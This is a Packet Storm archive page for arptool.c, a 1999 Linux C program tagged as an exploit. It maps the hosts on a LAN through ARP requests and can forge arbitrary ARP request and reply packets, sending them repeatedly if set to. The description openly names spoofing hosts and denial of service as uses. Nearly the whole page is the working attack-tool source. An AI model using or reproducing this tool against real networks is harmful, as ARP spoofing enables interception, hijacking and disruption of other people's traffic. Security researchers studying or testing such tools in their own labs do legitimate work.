what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

arptool.c

arptool.c
Posted Dec 6, 2001
Authored by Cristiano Lincoln Mattos

ARPtool has basically two functions: 1) it maps all the ip's on the same ethernet cable segment/LAN as the machine it runs on, which is useful to determine the hosts that could be victim of sniffing, hijacking, etc. 2) a general ARP generator function, for sending customized ARP packets, which can be used for spoofing hosts, DoS, etc.

tags | exploit, spoof
SHA-256 | 80922942c238437cc8f4b15ffaf546bf7e6e417f66f73374829a03c4d25b767d

arptool.c

Change Mirror Download
/* 
* ARPTool v0.1, (c) Cristiano Lincoln Mattos, 1999 - <lincoln@hotlink.com.br>
*
* - Compiled and tested on Linux 2.0.33, 2.0.35, 2.0.36, libc5 & glibc.
* Will port to Solaris 2.5.1 as soon as i have time.
* - For usage, run it without arguments.
* - If you dont know what this is for, or what you can do with it,
* read yuri volobuev's excellent bugtraq post about ARP spoofing
* (available from the bugtraq archives).
* - The netmap results depend on the network latency.. try adjusting the
* usleep() delay, if you think it's too small/big.
* - The latest version will be always at
* http://www.hotlink.com.br/users/lincoln/arptool
* - Some code borrowed from neped (apostols.org), thanks.
*
* #include <stddisclaimer.h>
*
* CHANGELOG:
* 09/12/98 - General code cleanup.
* 07/12/98 - Removed the option for hiding in the process list, and
* double mode: didn't work as expected, stupid oversight.
* 29/12/98 - Better display of MAC's with more than one IP (proxy
* arp or virtual interfaces).
* 28/12/98 - Added check for arp reply being to source ip (netmap).
* 12/06/01 - Alan Bishoff fixed some minor compilation issues. Changed
* linux/if.h to net/if.h and fixed wrapped lines.
*/

#include <stdio.h>
#include <stdlib.h>
/* #include <linux/if.h> */
#include <net/if.h>
#include <linux/sockios.h>
#include <linux/in.h>
#include <linux/if_ether.h>
#include <unistd.h>
#include <fcntl.h>

#define ARP_ETHER 1
#define ARP_REQUEST 1
#define ARP_REPLY 2

/* Structures */
struct pkt_struct {
unsigned char eth_dst[6];
unsigned char eth_src[6];
unsigned short eth_proto;
unsigned short int arp_hw_type;
unsigned short int arp_proto;
unsigned char arp_hw_len;
unsigned char arp_proto_len; // proto is IP.
unsigned short arp_oper;
unsigned char arp_hw_src[6];
unsigned char arp_ip_src[4];
unsigned char arp_hw_dst[6];
unsigned char arp_ip_dst[4];
};

struct spoof_struct {
unsigned char hw_src[6];
unsigned char hw_dst[6];
unsigned long int ip_src;
unsigned long int ip_dst;
unsigned short op;
};

/* List structures */
struct iplist_struct {
unsigned long int ip;
struct iplist_struct * next;
};

struct list_struct {
unsigned char hw[ETH_ALEN];
struct iplist_struct * iplist;
struct iplist_struct * lastip;
struct list_struct * next;
} * head = NULL, * tail = NULL;

/* Functions */
char * hwaddr_to_str (unsigned char * str);
unsigned char * str_to_hwaddr (char * str);
unsigned int hexstr_to_int (char *cptr);
void netmap (int fd, unsigned long int start_ip);
void usage (char * av, int mode);
void add_to_list (unsigned long int ip, unsigned char * hw);
void show_list ();

/* Global variables */
unsigned long netmask, broadcast; /* struct in_addr */
unsigned char hwaddr[ETH_ALEN];
struct sockaddr sock;
int verbose = 0;

void sendarp (int fd, unsigned char * h_source, unsigned char * h_dest, \
unsigned char * arp_src, unsigned char * arp_dst, \
unsigned long int ip_source, unsigned long int ip_dest, unsigned char
op) {
struct pkt_struct pkt;

// Ethernet header.
memcpy(&pkt.eth_dst,h_dest,ETH_ALEN);
memcpy(&pkt.eth_src,h_source,ETH_ALEN);
pkt.eth_proto = htons(ETH_P_ARP);
// ARP header.
pkt.arp_hw_type = htons(ARP_ETHER);
pkt.arp_proto = htons(ETH_P_IP);
pkt.arp_hw_len = ETH_ALEN;
pkt.arp_proto_len = 4;
pkt.arp_oper = htons(op);

if (arp_src==0) bzero(&pkt.arp_hw_src,ETH_ALEN);
else memcpy(&pkt.arp_hw_src,arp_src,ETH_ALEN);
if (arp_dst==0) bzero(&pkt.arp_hw_dst,ETH_ALEN);
else memcpy(&pkt.arp_hw_dst,arp_dst,ETH_ALEN);

memcpy(&pkt.arp_ip_src,&ip_source,4);
memcpy(&pkt.arp_ip_dst,&ip_dest,4);

if ( (sendto(fd,&pkt,sizeof(pkt),0,&sock,sizeof(sock))) < 0) perror("Error sending
ARP");

if (verbose) {
char ips[16], hws[18];
strncpy(ips,inet_ntoa(ip_source),16);
strncpy(hws,hwaddr_to_str(pkt.eth_src),18);
printf(" - Sending packet: Ether src: %s - Ether dst: %s \n",hws,hwaddr_to_str(pkt.eth_dst));
strncpy(hws,hwaddr_to_str(pkt.arp_hw_src),18);
printf(" ARP hw src: %s - ARP hw dst: %s\n",hws,hwaddr_to_str(pkt.arp_hw_dst));
printf(" ARP ip src: %s - ARP ip dst: %s - ARP op: ",ips,inet_ntoa(ip_dest));
if (op==1) printf("%s\n","Request");
else printf("%s\n","Reply");
}

}

void netmap (int fd, unsigned long int start_ip) {
unsigned long int ip, ip_s;
struct pkt_struct * pkt;
int i;

ip_s = start_ip;
ip = ip_s & netmask;

i = fcntl(fd,F_GETFL);
if ((fcntl(fd,F_SETFL, i | O_NONBLOCK))<0) {
perror("FCNTL"); exit (1);
}

pkt = (struct pkt_struct *) malloc(sizeof(struct pkt_struct));
bzero(pkt,sizeof(struct pkt_struct));

printf(" - Mapping network... \n");
while (ip < broadcast) {
unsigned long int iptmp;
unsigned char hwa[ETH_ALEN];
ip = ntohl(ip);
ip = htonl(++ip);

sendarp(fd,hwaddr,str_to_hwaddr("FF:FF:FF:FF:FF:FF"),hwaddr,0,ip_s,ip,ARP_REQUEST);
usleep(1000);

i = sizeof(sock);
bzero(pkt,sizeof(struct pkt_struct));
if ((recvfrom(fd,pkt,sizeof(struct pkt_struct),0,&sock,&i)) < 0) continue;

memcpy(&iptmp,pkt->arp_ip_dst,4);
if ((iptmp!=ip_s) || (ntohs(pkt->arp_oper)!=ARP_REPLY)) continue;

memcpy(&iptmp,pkt->arp_ip_src,4);
add_to_list(iptmp,pkt->eth_src);
}
show_list();
free (pkt);
}


void main (int argc, char ** argv) {
struct ifreq ifr;
struct sockaddr_in sin;
struct spoof_struct sp;
unsigned long int ip;
int fd, ret;
int i = 0, map = 0, spoof = 0, interval = 0;
char * dev;

// Parsing the arguments.
if (argc < 2) { usage(argv[0],0); exit(1); }

usage(argv[0],1);
dev = (char *) malloc(6); strncpy(dev,"eth0",5);
while ((i = getopt(argc, argv, "dc:vmi:s:")) != EOF) {
switch (i) {
case 'm': map = 1; continue;
case 'v': verbose = 1; continue;
case 'i': dev = optarg; continue;
case 'c': interval = atoi(optarg); continue;
case 's': spoof = optind-1; continue;
case '?': exit(1);
default: usage(argv[0],0); exit;
}
}
if ((map) && (spoof)) {
printf(" Error: cannot run in map mode (-m) and spoof mode (-s) simultaneously.\n");
exit(1);
}
if ((!map) && (!spoof)) {
printf(" Error: map mode (-m) or spoof mode (-s) must be specified.\n");
exit(1);
}
if (spoof) {
unsigned long int ips;
int origspoof = spoof;

spoof = optind;
if ((!argv[origspoof]) || (!argv[spoof]) || (!argv[spoof+1]) || (!argv[spoof+2]) || (!argv[spoof+3])) {
printf(" Error: spoof (-s) requires five arguments: \n");
exit(1);
}

ips = atoi(argv[spoof+3]);
if ( (ips!=1) && (ips!=2) ) {
printf(" Erro: wrong arp operation. Must be 1 for request or 2 for reply. \n");
exit(1);
}
memcpy(&sp.hw_src,str_to_hwaddr(argv[origspoof]),ETH_ALEN);
memcpy(&sp.hw_dst,str_to_hwaddr(argv[spoof++]),ETH_ALEN);
ips= inet_addr(argv[spoof++]);
memcpy(&sp.ip_src,&ips,4);
ips = inet_addr(argv[spoof++]);
memcpy(&sp.ip_dst,&ips,4);
ips = atoi(argv[spoof]);
memcpy(&sp.op,&ips,1);
}


// Setting up the sockets, interface, and getting data.
strcpy(sock.sa_data,dev);
sock.sa_family = AF_INET;
fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP));
if (fd==-1) {
perror("Socket: "); exit (1);
}

// HW Addr.
strcpy(ifr.ifr_name,dev);
ret = ioctl(fd,SIOCGIFHWADDR,&ifr);
if (ret==-1) {
perror("Error getting HW Address"); exit (1);
}
memcpy(hwaddr,ifr.ifr_hwaddr.sa_data,ETH_ALEN);

// IP.
ret = ioctl(fd,SIOCGIFADDR,&ifr);
if (ret==-1) {
perror("Error getting IP Address"); exit (1);
}
memcpy(&sin,&ifr.ifr_addr,sizeof(struct sockaddr_in));
ip = sin.sin_addr.s_addr;

// Netmask.
ret = ioctl(fd,SIOCGIFNETMASK,&ifr);
if (ret==-1) {
perror("Error getting netmask"); exit (1);
}
memcpy(&sin,&ifr.ifr_netmask,sizeof(struct sockaddr_in));
netmask = sin.sin_addr.s_addr;
// netmask = 16777215; // 24 bit Netmask

// Broadcast.
ret = ioctl(fd,SIOCGIFBRDADDR,&ifr);
if (ret==-1) {
perror("Error getting broadcast"); exit (1);
}
memcpy(&sin,&ifr.ifr_broadaddr,sizeof(struct sockaddr_in));
broadcast = sin.sin_addr.s_addr;

printf(" - Hardware addr : %s\n",hwaddr_to_str(hwaddr));
printf(" - Interface IP: %s (%s)\n",inet_ntoa(ip),dev);
printf(" - Netmask: %s\n",inet_ntoa(netmask));
printf(" - Brodcast: %s\n",inet_ntoa(broadcast));

while (1) {
if (map) netmap (fd,ip);
if (spoof) {
sendarp(fd,sp.hw_src,sp.hw_dst,sp.hw_src,sp.hw_dst,sp.ip_src,sp.ip_dst,sp.op);
}
if (interval) sleep(interval);
else break;
}
}


char * hwaddr_to_str (unsigned char * str) {
static char tmp[20];
sprintf(tmp,"%02X:%02X:%02X:%02X:%02X:%02X",str[0],str[1],str[2],str[3],str[4],str[5]);
return tmp;
}

unsigned int hexstr_to_int(char *cptr) {
unsigned int i, j = 0;

while (cptr && *cptr && isxdigit(*cptr)) {
i = *cptr++ - '0';
if (9 < i) i -= 7;
j <<= 4;
j |= (i & 0x0f);
}
return(j);
}

unsigned char * str_to_hwaddr (char * str) {
unsigned char tmp[2], strbuf[17], t[2];
static unsigned char * buf, * tt;
int e, i;

buf = (unsigned char *) malloc(6);
bzero(t,2); bzero(tmp,2); bzero(strbuf,17); bzero(buf,6);
strncpy(strbuf,str,17); strbuf[17]='\0';
tt = buf;

e = 0;
for (i=0; i < strlen(strbuf); i++) {
if ((strbuf[i]==':') && (e==0)) continue;
tmp[e] = strbuf[i]; e++;
if (e==2) {
unsigned int a;
a = hexstr_to_int(tmp);
memcpy(tt,&a,1); tt++;
bzero(tmp,2); e = 0;
}
}
return buf;
}

void usage (char * av, int mode) {
printf(" ARPTool v0.1, (c) Cristiano Lincoln Mattos, 1999. <lincoln@hotlink.com.br> \n");
if (!mode) {
printf(" Sintax: %s [-i interface] [-m] [-c] [-s hwsrc hwdest ipsrc ipdst op]\n",av);
printf(" -i interface: use this interface. If ommited, default to eth0\n");
printf(" -m: network map mode. Will identify all hosts on the same \n cable segment. \n");
printf(" -s src_hwaddress dst_hwaddress src_ipaddress dst_ipaddress operation:\n");
printf(" send arbitrary ARP packets. The hardware address must be \n specified in the usual form, i.e. 00:00:FD:FF:1E:C1.\n
Operation is 1 for ARP request, 2 for ARP reply. \n");
printf(" -c interval: continuous mode. Will keep sending the speci
fied \n packets every interval seconds (requires -s or -m).\n");
exit(1);
}
}


void show_list () {
struct list_struct * tmp, * tmp2;
tmp = head;
while (tmp!=NULL) {
struct iplist_struct * iptmp;
iptmp = tmp->iplist;
printf(" -- HW Address: %s",hwaddr_to_str(tmp->hw));
if (iptmp->next) printf(" - Several IP's: probably router with proxy arp, or virtual interfaces.\n");
while (iptmp!=NULL) {
printf(" IP: %s\n",inet_ntoa(iptmp->ip));
iptmp = iptmp->next;
}
free(iptmp); tmp2 = tmp->next;
free(tmp); tmp = tmp2;
}
return;
}


void add_to_list (unsigned long int ip, unsigned char * hw) {
struct list_struct * tmp;
struct iplist_struct * iptmp;
tmp = head;
while (tmp) {
if ((hw[0]==tmp->hw[0]) && (hw[1]==tmp->hw[1]) && (hw[2]==tmp->hw[2]) && (hw[3]==tmp->hw[3]) &&\
(hw[4]==tmp->hw[4]) && (hw[5]==tmp->hw[5])) break;
tmp = tmp->next;
}
if (!tmp) { // If it's the first HW entry, or did not find HW in list, create
if ((tmp = (struct list_struct *) malloc(sizeof(struct list_struct))) == NULL) {
printf("\n malloc error. \n"); exit (1);
}
if ((iptmp = (struct iplist_struct *) malloc(sizeof(struct iplist_struct)))
== NULL) {
printf("\n malloc error. \n"); exit (1);
}
iptmp->ip = ip;
iptmp->next = NULL;
tmp->iplist = iptmp;
tmp->lastip = iptmp;
tmp->next = NULL;
memcpy(tmp->hw,hw,ETH_ALEN);
if (tail) {
tail->next = tmp;
tail = tmp;
}
} else { // Found the HW entry in the list, just add the IP.
if ((iptmp = (struct iplist_struct *) malloc(sizeof(struct iplist_struct)))
== NULL) {
printf("\n malloc error. \n"); exit (1);
}
iptmp->ip = ip;
iptmp->next = NULL;
tmp->lastip->next = iptmp;
tmp->lastip = iptmp;
}
if (!head) head = tail = tmp;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close